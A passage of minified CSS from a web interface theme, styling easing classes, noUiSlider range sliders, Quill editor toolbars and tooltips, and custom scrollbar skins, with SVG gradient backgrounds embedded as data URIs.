.lavalamp-object.easeOutBack{transition-timing-function:cubic-bezier(.175,.885,.32,1.275)}.lavalamp .lavalamp-object.easeInOutQuad{transition-timing-function:cubic-bezier(.455,.03,.515,.955)}.lavalamp .lavalamp-object.easeInOutCubic{transition-timing-function:cubic-bezier(.645,.045,.355,1)}.lavalamp .lavalamp-object.easeInOutQuart{transition-timing-function:cubic-bezier(.645,.045,.355,1)}.lavalamp .lavalamp-object.easeInOutQuint{transition-timing-function:cubic-bezier(.86,0,.07,1)}.lavalamp .lavalamp-object.easeInOutSine{transition-timing-function:cubic-bezier(.445,.05,.55,.95)}.lavalamp .lavalamp-object.easeInOutExpo{transition-timing-function:cubic-bezier(1,0,0,1)}.lavalamp .lavalamp-object.easeInOutCirc{transition-timing-function:cubic-bezier(.785,.135,.15,.86)}.lavalamp .lavalamp-object.easeInOutBack{transition-timing-function:cubic-bezier(.68,-.55,.265,1.55)}.noUi-target,.noUi-target *{box-sizing:border-box;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;-webkit-touch-callout:none;-webkit-tap-highlight-color:transparent;touch-action:none}.noUi-target{position:relative;direction:ltr}.noUi-base,.noUi-connects{position:relative;z-index:1;width:100%;height:100%}.noUi-connects{z-index:0;overflow:hidden}.noUi-connect,.noUi-origin{position:absolute;z-index:1;top:0;left:0;width:100%;height:100%;transform-origin:0 0;will-change:transform}html:not([dir=rtl]) .noUi-horizontal .noUi-origin{right:0;left:auto}.noUi-vertical .noUi-origin{width:0}.noUi-horizontal .noUi-origin{height:0}.noUi-handle{position:absolute}.noUi-state-tap .noUi-connect,.noUi-state-tap .noUi-origin{transition:transform .3s}.noUi-state-drag *{cursor:inherit!important}.noUi-horizontal{height:5px}.noUi-horizontal .noUi-handle{top:-6px;left:-17px;width:34px;height:28px}.noUi-vertical{width:5px}.noUi-vertical .noUi-handle{top:-17px;left:-6px;width:28px;height:34px}html:not([dir=rtl]) .noUi-horizontal .noUi-handle{right:-17px;left:auto}.noUi-connects{border-radius:3px}.noUi-connect{background:#5e72e4}.noUi-draggable{cursor:ew-resize}.noUi-vertical .noUi-draggable{cursor:ns-resize}.noUi-handle{cursor:default;border:1px solid #d9d9d9;border-radius:3px;outline:0;background:#fff;box-shadow:inset 0 0 1px #fff,inset 0 1px 7px #ebebeb,0 3px 6px -3px #bbb}.noUi-active{outline:0}[disabled] .noUi-connect{background:#b8b8b8}[disabled] .noUi-handle,[disabled].noUi-handle,[disabled].noUi-target{cursor:not-allowed}.noUi-pips,.noUi-pips *{box-sizing:border-box}.noUi-pips{position:absolute;color:#999}.noUi-value{position:absolute;text-align:center;white-space:nowrap}.noUi-value-sub{font-size:10px;color:#ccc}.noUi-marker{position:absolute;background:#ccc}.noUi-marker-sub{background:#aaa}.noUi-marker-large{background:#aaa}.noUi-pips-horizontal{top:100%;left:0;width:100%;height:80px;padding:10px 0}.noUi-value-horizontal{transform:translate(-50%,50%)}.noUi-rtl .noUi-value-horizontal{transform:translate(50%,50%)}.noUi-marker-horizontal.noUi-marker{width:2px;height:5px;margin-left:-1px}.noUi-marker-horizontal.noUi-marker-sub{height:10px}.noUi-marker-horizontal.noUi-marker-large{height:15px}.noUi-pips-vertical{top:0;left:100%;height:100%;padding:0 10px}.noUi-value-vertical{padding-left:25px;transform:translate(0,-50%,0)}.noUi-rtl .noUi-value-vertical{transform:translate(0,50%)}.noUi-marker-vertical.noUi-marker{width:5px;height:2px;margin-top:-1px}.noUi-marker-vertical.noUi-marker-sub{width:10px}.noUi-marker-vertical.noUi-marker-large{width:15px}.noUi-tooltip{position:absolute;display:block;padding:5px;text-align:center;white-space:nowrap;color:#000;border:1px solid #d9d9d9;border-radius:3px;background:#fff}.noUi-horizontal .noUi-tooltip{bottom:120%;left:50%;transform:translate(-50%,0)}.noUi-vertical .noUi-tooltip{top:50%;right:120%;transform:translate(0,-50%)}.noUi-target{margin:15px 0;cursor:pointer;border:0;border-radius:5px;background:#eceeef;box-shadow:inset 0 1px 2px rgba(90,97,105,.1)}.noUi-horizontal{height:5px}html:not([dir=rtl]) .noUi-horizontal .noUi-handle{right:-10px}.noUi-vertical{width:5px}.noUi-connect{background:#5e72e4;box-shadow:none}.noUi-horizontal .noUi-handle,.noUi-vertical .noUi-handle{top:-5px;width:15px;height:15px;cursor:pointer;transition:box-shadow .15s,transform .15s;border:0;border-radius:100%;background-color:#5e72e4;box-shadow:none}.noUi-horizontal .noUi-handle.noUi-active,.noUi-vertical .noUi-handle.noUi-active{box-shadow:0 0 0 2px #5e72e4}.input-slider--cyan .noUi-connect{background:#2bffc6}[disabled] .noUi-connect,[disabled].noUi-connect{background:#b2b2b2}[disabled] .noUi-handle,[disabled].noUi-origin{cursor:not-allowed}.range-slider-value{font-size:.75rem;font-weight:500;padding:.4em .8em .3em .85em;color:#fff;border-radius:10px;background-color:rgba(33,37,41,.7)}.range-slider-wrapper .upper-info{font-weight:400;margin-bottom:5px}.input-slider-value-output{font-size:11px;position:relative;top:12px;padding:4px 8px;color:#fff;border-radius:2px;background:#333}.input-slider-value-output:after{position:absolute;bottom:100%;left:10px;width:0;height:0;margin-left:-4px;content:' ';pointer-events:none;border:solid transparent;border-width:4px;border-color:rgba(136,183,213,0);border-bottom-color:#333}.input-slider-value-output.left:after{right:auto;left:10px}.input-slider-value-output.right:after{right:10px;left:auto}.ql-container{font-family:Open Sans,sans-serif}.ql-toolbar{position:relative;padding:.625rem .75rem;color:#8898aa;border:1px solid #dee2e6;border-radius:.25rem .25rem 0 0;background-color:#fff}.ql-toolbar+.ql-container{margin-top:-1px}.ql-toolbar+.ql-container .ql-editor{border-top-left-radius:0;border-top-right-radius:0}.ql-editor{font-size:1rem;line-height:1.5;display:block;width:100%;min-height:6rem;padding:.625rem .75rem;transition:all .15s cubic-bezier(.68,-.55,.265,1.55);color:#8898aa;border:1px solid #dee2e6;border-radius:.25rem;background-color:#fff;background-clip:padding-box;box-shadow:0 3px 2px rgba(233,236,239,.05)}@media (prefers-reduced-motion:reduce){.ql-editor{transition:none}}.ql-editor::-ms-expand{border:0;background-color:transparent}.ql-editor:focus{color:#8898aa;border-color:#5e72e4;outline:0;background-color:#fff;box-shadow:0 3px 9px rgba(50,50,9,0),3px 4px 8px rgba(94,114,228,.1)}.ql-editor:focus{border-color:#dee2e6}.ql-hidden{position:absolute;transform:scale(0)}.ql-editor.ql-blank::before{font-style:normal;top:.625rem;left:.75rem;color:#adb5bd}.ql-editor:focus::before{display:none}.ql-formats{padding-right:.5rem;padding-left:.5rem}.ql-formats:first-child{padding-left:0}.ql-formats:last-child{padding-right:0}.ql-toolbar button{padding:0 .25rem;cursor:pointer;transition:all .15s ease;color:#525f7f;border:none;background:0 0}.ql-toolbar button:hover{color:#5e72e4}.ql-toolbar button:first-child{margin-left:-.25rem}.ql-toolbar .ql-active{color:#5e72e4}.ql-toolbar button svg{width:1.25rem;height:1.25rem}.ql-toolbar .ql-stroke{stroke:currentColor;stroke-width:2;stroke-linecap:round;stroke-linejoin:round;fill:none}.ql-toolbar .ql-thin{stroke-width:1}.ql-toolbar .ql-fill{fill:currentColor}.ql-toolbar input.ql-image{position:absolute;transform:scale(0)}.ql-tooltip{position:absolute;display:flex;width:18.5rem;margin-top:.6rem;padding:.625rem .75rem;border:1px solid rgba(0,0,0,.05);border-radius:.4375rem;background-color:#fff;box-shadow:0 .5rem 2rem 0 rgba(0,0,0,.2);flex-wrap:nowrap}.ql-tooltip:after,.ql-tooltip:before{position:absolute;bottom:100%;left:50%;content:'';transform:translateX(-50%)}.ql-tooltip:before{border-right:.6rem solid transparent;border-bottom:.6rem solid rgba(0,0,0,.05);border-left:.6rem solid transparent}.ql-tooltip:after{border-right:.5rem solid transparent;border-bottom:.5rem solid #fff;border-left:.5rem solid transparent}.ql-container .ql-tooltip:hover{display:flex!important}.ql-tooltip .ql-preview{font-size:.875rem;line-height:1.5;width:100%;padding:.25rem .5rem;transition:color .15s ease-in-out,background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out;border-radius:.25rem}@media (prefers-reduced-motion:reduce){.ql-tooltip .ql-preview{transition:none}}.ql-tooltip.ql-editing .ql-preview{display:none}.ql-tooltip input{font-size:.875rem;line-height:1.5;display:none;width:100%;padding-top:calc(.25rem + 1px);padding-bottom:calc(.25rem + 1px);color:#8898aa;border:none;background-color:transparent}.ql-tooltip input:focus{outline:0}.ql-tooltip.ql-editing input{display:block}.ql-tooltip .ql-action,.ql-tooltip .ql-remove{margin-left:.25rem}.ql-tooltip .ql-action::before,.ql-tooltip .ql-remove::before{font-size:.875rem;font-weight:600;line-height:1.5;display:inline-block;padding:.25rem .5rem;cursor:pointer;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;transition:color .15s ease-in-out,background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out;text-align:center;vertical-align:middle;white-space:nowrap;border:1px solid transparent;border-radius:.25rem}@media (prefers-reduced-motion:reduce){.ql-tooltip .ql-action::before,.ql-tooltip .ql-remove::before{transition:none}}.ql-tooltip .ql-action::before:focus,.ql-tooltip .ql-action::before:hover,.ql-tooltip .ql-remove::before:focus,.ql-tooltip .ql-remove::before:hover{text-decoration:none}.ql-tooltip .ql-action::before.focus,.ql-tooltip .ql-action::before:focus,.ql-tooltip .ql-remove::before.focus,.ql-tooltip .ql-remove::before:focus{outline:0;box-shadow:0 7px 14px rgba(50,50,93,.1),0 3px 6px rgba(0,0,0,.08)}.ql-tooltip .ql-action::before,.ql-tooltip.ql-editing .ql-action::before{color:#fff;border-color:#5e72e4;background-color:#5e72e4;box-shadow:0 4px 6px rgba(50,50,93,.11),0 1px 3px rgba(0,0,0,.08)}.ql-tooltip .ql-action::before:hover,.ql-tooltip.ql-editing .ql-action::before:hover{color:#fff;border-color:#5e72e4;background-color:#5e72e4}.ql-tooltip .ql-action::before.focus,.ql-tooltip .ql-action::before:focus,.ql-tooltip.ql-editing .ql-action::before.focus,.ql-tooltip.ql-editing .ql-action::before:focus{box-shadow:0 4px 6px rgba(50,50,93,.11),0 1px 3px rgba(0,0,0,.08),0 0 0 0 rgba(94,114,228,.5)}.ql-tooltip .ql-action::before.disabled,.ql-tooltip .ql-action::before:disabled,.ql-tooltip.ql-editing .ql-action::before.disabled,.ql-tooltip.ql-editing .ql-action::before:disabled{color:#fff;border-color:#5e72e4;background-color:#5e72e4}.ql-tooltip .ql-action::before:not(:disabled):not(.disabled).active,.ql-tooltip .ql-action::before:not(:disabled):not(.disabled):active,.ql-tooltip.ql-editing .ql-action::before:not(:disabled):not(.disabled).active,.ql-tooltip.ql-editing .ql-action::before:not(:disabled):not(.disabled):active,.show>.ql-tooltip .ql-action::before.dropdown-toggle,.show>.ql-tooltip.ql-editing .ql-action::before.dropdown-toggle{color:#fff;border-color:#5e72e4;background-color:#324cdd}.ql-tooltip .ql-action::before:not(:disabled):not(.disabled).active:focus,.ql-tooltip .ql-action::before:not(:disabled):not(.disabled):active:focus,.ql-tooltip.ql-editing .ql-action::before:not(:disabled):not(.disabled).active:focus,.ql-tooltip.ql-editing .ql-action::before:not(:disabled):not(.disabled):active:focus,.show>.ql-tooltip .ql-action::before.dropdown-toggle:focus,.show>.ql-tooltip.ql-editing .ql-action::before.dropdown-toggle:focus{box-shadow:none,0 0 0 0 rgba(94,114,228,.5)}.ql-tooltip .ql-action::before{content:'Edit'}.ql-tooltip.ql-editing .ql-action::before{content:'Save'}.ql-tooltip .ql-remove::before{content:'Remove';color:#212529;border-color:#fff;border-color:#dee2e6;background-color:#fff;box-shadow:0 4px 6px rgba(50,50,93,.11),0 1px 3px rgba(0,0,0,.08)}.ql-tooltip .ql-remove::before:hover{color:#212529;border-color:#fff;background-color:#fff}.ql-tooltip .ql-remove::before.focus,.ql-tooltip .ql-remove::before:focus{box-shadow:0 4px 6px rgba(50,50,93,.11),0 1px 3px rgba(0,0,0,.08),0 0 0 0 rgba(255,255,255,.5)}.ql-tooltip .ql-remove::before.disabled,.ql-tooltip .ql-remove::before:disabled{color:#212529;border-color:#fff;background-color:#fff}.ql-tooltip .ql-remove::before:not(:disabled):not(.disabled).active,.ql-tooltip .ql-remove::before:not(:disabled):not(.disabled):active,.show>.ql-tooltip .ql-remove::before.dropdown-toggle{color:#212529;border-color:#fff;background-color:#e6e6e6}.ql-tooltip .ql-remove::before:not(:disabled):not(.disabled).active:focus,.ql-tooltip .ql-remove::before:not(:disabled):not(.disabled):active:focus,.show>.ql-tooltip .ql-remove::before.dropdown-toggle:focus{box-shadow:none,0 0 0 0 rgba(255,255,255,.5)}.ql-tooltip.ql-editing .ql-remove::before{display:none}.ql-editor blockquote{font-size:1.25rem;margin-bottom:1rem}.ql-editor img{max-width:100%;height:auto}.scroll-wrapper{position:relative;overflow:hidden!important;padding:0!important}.scroll-wrapper>.scroll-content{position:relative!important;top:0;left:0;overflow:scroll!important;box-sizing:content-box!important;width:auto!important;max-width:none!important;height:auto;max-height:none;margin:0;padding:0;border:none!important}.scroll-wrapper>.scroll-content::-webkit-scrollbar{width:0;height:0}.scroll-wrapper.scroll--rtl{direction:rtl}.scroll-element{display:none;box-sizing:content-box}.scroll-element div{box-sizing:content-box}.scroll-element .scroll-arrow,.scroll-element .scroll-bar{cursor:default}.scroll-element.scroll-x.scroll-scrollx_visible,.scroll-element.scroll-y.scroll-scrolly_visible{display:block}.scroll-textarea{border:1px solid #ccc;border-top-color:#999}.scroll-textarea>.scroll-content{overflow:hidden!important}.scroll-textarea>.scroll-content>textarea{position:relative!important;top:0;overflow:scroll!important;box-sizing:border-box;width:100%!important;max-width:none!important;height:100%!important;max-height:none!important;margin:0;padding:2px;border:none!important;outline:0}.scroll-textarea>.scroll-content>textarea::-webkit-scrollbar{width:0;height:0}.scrollbar-inner>.scroll-element,.scrollbar-inner>.scroll-element div{position:absolute;z-index:10;margin:0;padding:0;border:none}.scrollbar-inner>.scroll-element div{top:0;left:0;display:block;width:100%;height:100%}.scrollbar-inner>.scroll-element.scroll-x{bottom:2px;left:0;width:100%;height:8px}.scrollbar-inner>.scroll-element.scroll-y{top:0;right:2px;width:8px;height:100%}.scrollbar-inner>.scroll-element .scroll-element_outer{overflow:hidden}.scrollbar-inner>.scroll-element .scroll-bar,.scrollbar-inner>.scroll-element .scroll-element_outer,.scrollbar-inner>.scroll-element .scroll-element_track{border-radius:8px}.scrollbar-inner>.scroll-element .scroll-bar,.scrollbar-inner>.scroll-element .scroll-element_track{opacity:.4}.scrollbar-inner>.scroll-element .scroll-element_track{background-color:#e0e0e0}.scrollbar-inner>.scroll-element .scroll-bar{background-color:#c2c2c2}.scrollbar-inner>.scroll-element:hover .scroll-bar{background-color:#919191}.scrollbar-inner>.scroll-element.scroll-draggable .scroll-bar{background-color:#919191}.scrollbar-inner>.scroll-element.scroll-x.scroll-scrolly_visible .scroll-element_track{left:-12px}.scrollbar-inner>.scroll-element.scroll-y.scroll-scrollx_visible .scroll-element_track{top:-12px}.scrollbar-inner>.scroll-element.scroll-x.scroll-scrolly_visible .scroll-element_size{left:-12px}.scrollbar-inner>.scroll-element.scroll-y.scroll-scrollx_visible .scroll-element_size{top:-12px}.scrollbar-outer>.scroll-element,.scrollbar-outer>.scroll-element div{position:absolute;z-index:10;margin:0;padding:0;border:none}.scrollbar-outer>.scroll-element{background-color:#fff}.scrollbar-outer>.scroll-element div{top:0;left:0;display:block;width:100%;height:100%}.scrollbar-outer>.scroll-element.scroll-x{bottom:0;left:0;width:100%;height:12px}.scrollbar-outer>.scroll-element.scroll-y{top:0;right:0;width:12px;height:100%}.scrollbar-outer>.scroll-element.scroll-x .scroll-element_outer{top:2px;height:8px}.scrollbar-outer>.scroll-element.scroll-y .scroll-element_outer{left:2px;width:8px}.scrollbar-outer>.scroll-element .scroll-element_outer{overflow:hidden}.scrollbar-outer>.scroll-element .scroll-element_track{background-color:#eee}.scrollbar-outer>.scroll-element .scroll-bar,.scrollbar-outer>.scroll-element .scroll-element_outer,.scrollbar-outer>.scroll-element .scroll-element_track{border-radius:8px}.scrollbar-outer>.scroll-element .scroll-bar{background-color:#d9d9d9}.scrollbar-outer>.scroll-element .scroll-bar:hover{background-color:#c2c2c2}.scrollbar-outer>.scroll-element.scroll-draggable .scroll-bar{background-color:#919191}.scrollbar-outer>.scroll-content.scroll-scrolly_visible{left:-12px;margin-left:12px}.scrollbar-outer>.scroll-content.scroll-scrollx_visible{top:-12px;margin-top:12px}.scrollbar-outer>.scroll-element.scroll-x .scroll-bar{min-width:10px}.scrollbar-outer>.scroll-element.scroll-y .scroll-bar{min-height:10px}.scrollbar-outer>.scroll-element.scroll-x.scroll-scrolly_visible .scroll-element_track{left:-14px}.scrollbar-outer>.scroll-element.scroll-y.scroll-scrollx_visible .scroll-element_track{top:-14px}.scrollbar-outer>.scroll-element.scroll-x.scroll-scrolly_visible .scroll-element_size{left:-14px}.scrollbar-outer>.scroll-element.scroll-y.scroll-scrollx_visible .scroll-element_size{top:-14px}.scrollbar-macosx>.scroll-element,.scrollbar-macosx>.scroll-element div{position:absolute;z-index:10;margin:0;padding:0;border:none;background:0 0}.scrollbar-macosx>.scroll-element div{top:0;left:0;display:block;width:100%;height:100%}.scrollbar-macosx>.scroll-element .scroll-element_track{display:none}.scrollbar-macosx>.scroll-element .scroll-bar{display:block;transition:opacity .2s linear;opacity:0;border-radius:7px;background-color:#6c6e71}.scrollbar-macosx:hover>.scroll-element .scroll-bar,.scrollbar-macosx>.scroll-element.scroll-draggable .scroll-bar{opacity:.7}.scrollbar-macosx>.scroll-element.scroll-x{bottom:0;left:0;overflow:visible;width:100%;min-width:100%;height:0}.scrollbar-macosx>.scroll-element.scroll-y{top:0;right:0;width:0;height:100%;min-height:100%}.scrollbar-macosx>.scroll-element.scroll-x .scroll-bar{top:-9px;min-width:10px;height:7px}.scrollbar-macosx>.scroll-element.scroll-y .scroll-bar{left:-9px;width:7px;min-height:10px}.scrollbar-macosx>.scroll-element.scroll-x .scroll-element_outer{left:2px}.scrollbar-macosx>.scroll-element.scroll-x .scroll-element_size{left:-4px}.scrollbar-macosx>.scroll-element.scroll-y .scroll-element_outer{top:2px}.scrollbar-macosx>.scroll-element.scroll-y .scroll-element_size{top:-4px}.scrollbar-macosx>.scroll-element.scroll-x.scroll-scrolly_visible .scroll-element_size{left:-11px}.scrollbar-macosx>.scroll-element.scroll-y.scroll-scrollx_visible .scroll-element_size{top:-11px}.scrollbar-light>.scroll-element,.scrollbar-light>.scroll-element div{position:absolute;z-index:10;overflow:hidden;margin:0;padding:0;border:none}.scrollbar-light>.scroll-element{background-color:#fff}.scrollbar-light>.scroll-element div{top:0;left:0;display:block;width:100%;height:100%}.scrollbar-light>.scroll-element .scroll-element_outer{border-radius:10px}.scrollbar-light>.scroll-element .scroll-element_size{border-radius:10px;background:#dbdbdb;background:url(data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiA/Pgo8c3ZnIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjEwMCUiIGhlaWdodD0iMTAwJSIgdmlld0JveD0iMCAwIDEgMSIgcHJlc2VydmVBc3BlY3RSYXRpbz0ibm9uZSI+CiAgPGxpbmVhckdyYWRpZW50IGlkPSJncmFkLXVjZ2ctZ2VuZXJhdGVkIiBncmFkaWVudFVuaXRzPSJ1c2VyU3BhY2VPblVzZSIgeDE9IjAlIiB5MT0iMCUiIHgyPSIxMDAlIiB5Mj0iMCUiPgogICAgPHN0b3Agb2Zmc2V0PSIwJSIgc3RvcC1jb2xvcj0iI2RiZGJkYiIgc3RvcC1vcGFjaXR5PSIxIi8+CiAgICA8c3RvcCBvZmZzZXQ9IjEwMCUiIHN0b3AtY29sb3I9IiNlOGU4ZTgiIHN0b3Atb3BhY2l0eT0iMSIvPgogIDwvbGluZWFyR3JhZGllbnQ+CiAgPHJlY3QgeD0iMCIgeT0iMCIgd2lkdGg9IjEiIGhlaWdodD0iMSIgZmlsbD0idXJsKCNncmFkLXVjZ2ctZ2VuZXJhdGVkKSIgLz4KPC9zdmc+);background:linear-gradient(to right,#dbdbdb 0,#e8e8e8 100%)}.scrollbar-light>.scroll-element.scroll-x{bottom:0;left:0;width:100%;min-width:100%;height:17px}.scrollbar-light>.scroll-element.scroll-y{top:0;right:0;width:17px;height:100%;min-height:100%}.scrollbar-light>.scroll-element .scroll-bar{border:1px solid #dbdbdb;border-radius:10px;background:#fefefe;background:url(data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiA/Pgo8c3ZnIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjEwMCUiIGhlaWdodD0iMTAwJSIgdmlld0JveD0iMCAwIDEgMSIgcHJlc2VydmVBc3BlY3RSYXRpbz0ibm9uZSI+CiAgPGxpbmVhckdyYWRpZW50IGlkPSJncmFkLXVjZ2ctZ2VuZXJhdGVkIiBncmFkaWVudFVuaXRzPSJ1c2VyU3BhY2VPblVzZSIgeDE9IjAlIiB5MT0iMCUiIHgyPSIxMDAlIiB5Mj0iMCUiPgogICAgPHN0b3Agb2Zmc2V0PSIwJSIgc3RvcC1jb2xvcj0iI2ZlZmVmZSIgc3RvcC1vcGFjaXR5PSIxIi8+CiAgICA8c3RvcCBvZmZzZXQ9IjEwMCUiIHN0b3AtY29sb3I9IiNmNWY1ZjUiIHN0b3Atb3BhY2l0eT0iMSIvPgogIDwvbGluZWFyR3JhZGllbnQ+CiAgPHJlY3QgeD0iMCIgeT0iMCIgd2lkdGg9IjEiIGhlaWdodD0iMSIgZmlsbD0idXJsKCNncmFkLXVjZ2ctZ2VuZXJhdGVkKSIgLz4KPC9zdmc+);background:linear-gradient(to right,#fefefe 0,#f5f5f5 100%)}.scrollbar-light>.scroll-content.scroll-scrolly_visible{left:-17px;margin-left:17px}.scrollbar-light>.scroll-content.scroll-scrollx_visible{top:-17px;margin-top:17px}.scrollbar-light>.scroll-element.scroll-x .scroll-bar{top:0;min-width:10px;height:10px}.scrollbar-light>.scroll-element.scroll-y .scroll-bar{left:0;width:10px;min-height:10px}.scrollbar-light>.scroll-element.scroll-x .scroll-element_outer{top:2px;left:2px;height:12px}.scrollbar-light>.scroll-element.scroll-x .scroll-element_size{left:-4px}.scrollbar-light>.scroll-element.scroll-y .scroll-element_outer{top:2px;left:2px;width:12px}.scrollbar-light>.scroll-element.scroll-y .scroll-element_size{top:-4px}.scrollbar-light>.scroll-element.scroll-x.scroll-scrolly_visible .scroll-element_size{left:-19px}.scrollbar-light>.scroll-element.scroll-y.scroll-scrollx_visible .scroll-element_size{top:-19px}.scrollbar-light>.scroll-element.scroll-x.scroll-scrolly_visible .scroll-element_track{left:-19px}.scrollbar-light>.scroll-element.scroll-y.scroll-scrollx_visible .scroll-element_track{top:-19px}.scrollbar-rail>.scroll-element,.scrollbar-rail>.scroll-element div{position:absolute;z-index:10;overflow:hidden;margin:0;padding:0;border:none}.scrollbar-rail>.scroll-element{background-color:#fff}.scrollbar-rail>.scroll-element div{top:0;left:0;display:block;width:100%;height:100%}.scrollbar-rail>.scroll-element .scroll-element_size{background-color:#999;background-color:rgba(0,0,0,.3)}.scrollbar-rail>.scroll-element .scroll-element_outer:hover .scroll-element_size{background-color:#666;background-color:rgba(0,0,0,.5)}.scrollbar-rail>.scroll-element.scroll-x{bottom:0;left:0;width:100%;min-width:100%;height:12px;padding:3px 0 2px}.scrollbar-rail>.scroll-element.scroll-y{top:0;right:0;width:12px;height:100%;min-height:100%;padding:0 2px 0 3px}.scrollbar-rail>.scroll-element .scroll-bar{border-radius:2px;background-color:#d0b9a0;box-shadow:1px 1px 3px rgba(0,0,0,.5)}.scrollbar-rail>.scroll-element .scroll-element_outer:hover .scroll-bar{box-shadow:1px 1px 3px rgba(0,0,0,.6)}.scrollbar-rail>.scroll-content.scroll-scrolly_visible{left:-17px;margin-left:17px}.scrollbar-rail>.scroll-content.scroll-scrollx_visible{top:-17px;margin-top:17px}.scrollbar-rail>.scroll-element.scroll-x .scroll-bar{top:1px;min-width:10px;height:10px}.scrollbar-rail>.scroll-element.scroll-y .scroll-bar{left:1px;width:10px;min-height:10px}.scrollbar-rail>.scroll-element.scroll-x .scroll-element_outer{left:5px;height:15px}.scrollbar-rail>.scroll-element.scroll-x .scroll-element_size{top:5px;left:-10px;height:2px}.scrollbar-rail>.scroll-element.scroll-y .scroll-element_outer{top:5px;width:15px}.scrollbar-rail>.scroll-element.scroll-y .scroll-element_size{top:-10px;left:5px;width:2px}.scrollbar-rail>.scroll-element.scroll-x.scroll-scrolly_visible .scroll-element_size{left:-25px}.scrollbar-rail>.scroll-element.scroll-y.scroll-scrollx_visible .scroll-element_size{top:-25px}.scrollbar-rail>.scroll-element.scroll-x.scroll-scrolly_visible .scroll-element_track{left:-25px}.scrollbar-rail>.scroll-element.scroll-y.scroll-scrollx_visible .scroll-element_track{top:-25px}.scrollbar-dynamic>.scroll-element,.scrollbar-dynamic>.scroll-element div{position:absolute;z-index:10;margin:0;padding:0;border:none;background:0 0}.scrollbar-dynamic>.scroll-element div{top:0;left:0;display:block;width:100%;height:100%}.scrollbar-dynamic>.scroll-element.scroll-x{bottom:2px;left:0;width:100%;min-width:100%;height:7px}.scrollbar-dynamic>.scroll-element.scroll-y{top:0;right:2px;width:7px;height:100%;min-height:100%}.scrollbar-dynamic>.scroll-element .scroll-element_outer{opacity:.3;border-radius:12px}.scrollbar-dynamic>.scroll-element .scroll-element_size{transition:opacity .2s;opacity:0;border-radius:12px;background-color:#ccc}.scrollbar-dynamic>.scroll-element .scroll-bar{border-radius:7px;background-color:#6c6e71}.scrollbar-dynamic>.scroll-element.scroll-x .scroll-bar{top:auto;bottom:0;min-width:24px;height:7px}.scrollbar-dynamic>.scroll-element.scroll-y .scroll-bar{right:0;left:auto;width:7px;min-height:24px}.scrollbar-dynamic>.scroll-element.scroll-x .scroll-element_outer{top:auto;bottom:0;left:2px;transition:height .2s}.scrollbar-dynamic>.scroll-element.scroll-y .scroll-element_outer{top:2px;right:0;left:auto;transition:width .2s}.scrollbar-dynamic>.scroll-element.scroll-x .scroll-element_size{left:-4px}.scrollbar-dynamic>.scroll-element.scroll-y .scroll-element_size{top:-4px}.scrollbar-dynamic>.scroll-element.scroll-x.scroll-scrolly_visible .scroll-element_size{left:-11px}.scrollbar-dynamic>.scroll-element.scroll-y.scroll-scrollx_visible .scroll-element_size{top:-11px}.scrollbar-dynamic>.scroll-element.scroll-draggable .scroll-element_outer,.scrollbar-dynamic>.scroll-element:hover .scroll-element_outer{overflow:hidden;opacity:.7}.scrollbar-dynamic>.scroll-element.scroll-draggable .scroll-element_outer .scroll-element_size,.scrollbar-dynamic>.scroll-element:hover .scroll-element_outer .scroll-element_size{opacity:1}.scrollbar-dynamic>.scroll-element.scroll-draggable .scroll-element_outer .scroll-bar,.scrollbar-dynamic>.scroll-element:hover .scroll-element_outer .scroll-bar{width:100%;height:100%;border-radius:12px}.scrollbar-dynamic>.scroll-element.scroll-x.scroll-draggable .scroll-element_outer,.scrollbar-dynamic>.scroll-element.scroll-x:hover .scroll-element_outer{height:20px;min-height:7px}.scrollbar-dynamic>.scroll-element.scroll-y.scroll-draggable .scroll-element_outer,.scrollbar-dynamic>.scroll-element.scroll-y:hover .scroll-element_outer{width:20px;min-width:7px}.scrollbar-chrome>.scroll-element,.scrollbar-chrome>.scroll-element div{position:absolute;z-index:10;overflow:hidden;margin:0;padding:0;border:none}.scrollbar-chrome>.scroll-element{background-color:#fff}.scrollbar-chrome>.scroll-element div{top:0;left:0;display:block;width:100%;height:100%}.scrollbar-chrome>.scroll-element .scroll-element_track{border:1px solid #dbdbdb;background:#f1f1f1}.scrollbar-chrome>.scroll-element.scroll-x{bottom:0;left:0;width:100%;min-width:100%;height:16px}.scrollbar-chrome>.scroll-element.scroll-y{top:0;right:0;width:16px;height:100%;min-height:100%}.scrollbar-chrome>.scroll-element .scroll-bar{cursor:default;border:1px solid #bdbdbd;border-radius:2px;background-color:#d9d9d9}.scrollbar-chrome>.scroll-element .scroll-bar:hover{border-color:#a9a9a9;background-color:#c2c2c2}.scrollbar-chrome>.scroll-element.scroll-draggable .scroll-bar{border-color:#7e7e7e;background-color:#919191}.scrollbar-chrome>.scroll-content.scroll-scrolly_visible{left:-16px;margin-left:16px}.scrollbar-chrome>.scroll-content.scroll-scrollx_visible{top:-16px;margin-top:16px}.scrollbar-chrome>.scroll-element.scroll-x .scroll-bar{top:3px;min-width:10px;height:8px}.scrollbar-chrome>.scroll-element.scroll-y .scroll-bar{left:3px;width:8px;min-height:10px}.scrollbar-chrome>.scroll-element.scroll-x .scroll-element_outer{border-left:1px solid #dbdbdb}.scrollbar-chrome>.scroll-element.scroll-x .scroll-element_track{left:-3px;height:14px}.scrollbar-chrome>.scroll-element.scroll-x .scroll-element_size{left:-4px;height:14px}.scrollbar-chrome>.scroll-element.scroll-y .scroll-element_outer{border-top:1px solid #dbdbdb}.scrollbar-chrome>.scroll-element.scroll-y .scroll-element_track{top:-3px;width:14px}.scrollbar-chrome>.scroll-element.scroll-y .scroll-element_size{top:-4px;width:14px}.scrollbar-chrome>.scroll-element.scroll-x.scroll-scrolly_visible .scroll-element_size{left:-19px}.scrollbar-chrome>.scroll-element.scroll-y.scroll-scrollx_visible .scroll-element_size{top:-19px}.scrollbar-chrome>.scroll-element.scroll-x.scroll-scrolly_visible .scroll-element_track{left:-19px}.scrollbar-chrome>.scroll-element.scroll-y.scroll-scrollx_visible .scroll-element_track{top:-19px}.scrollbar-inner{height:100%}.scrollbar-inner:not(:hover) .scroll-element{opacity:0}.scrollbar-inner .scroll-element{margin-right:2px;transition:opacity 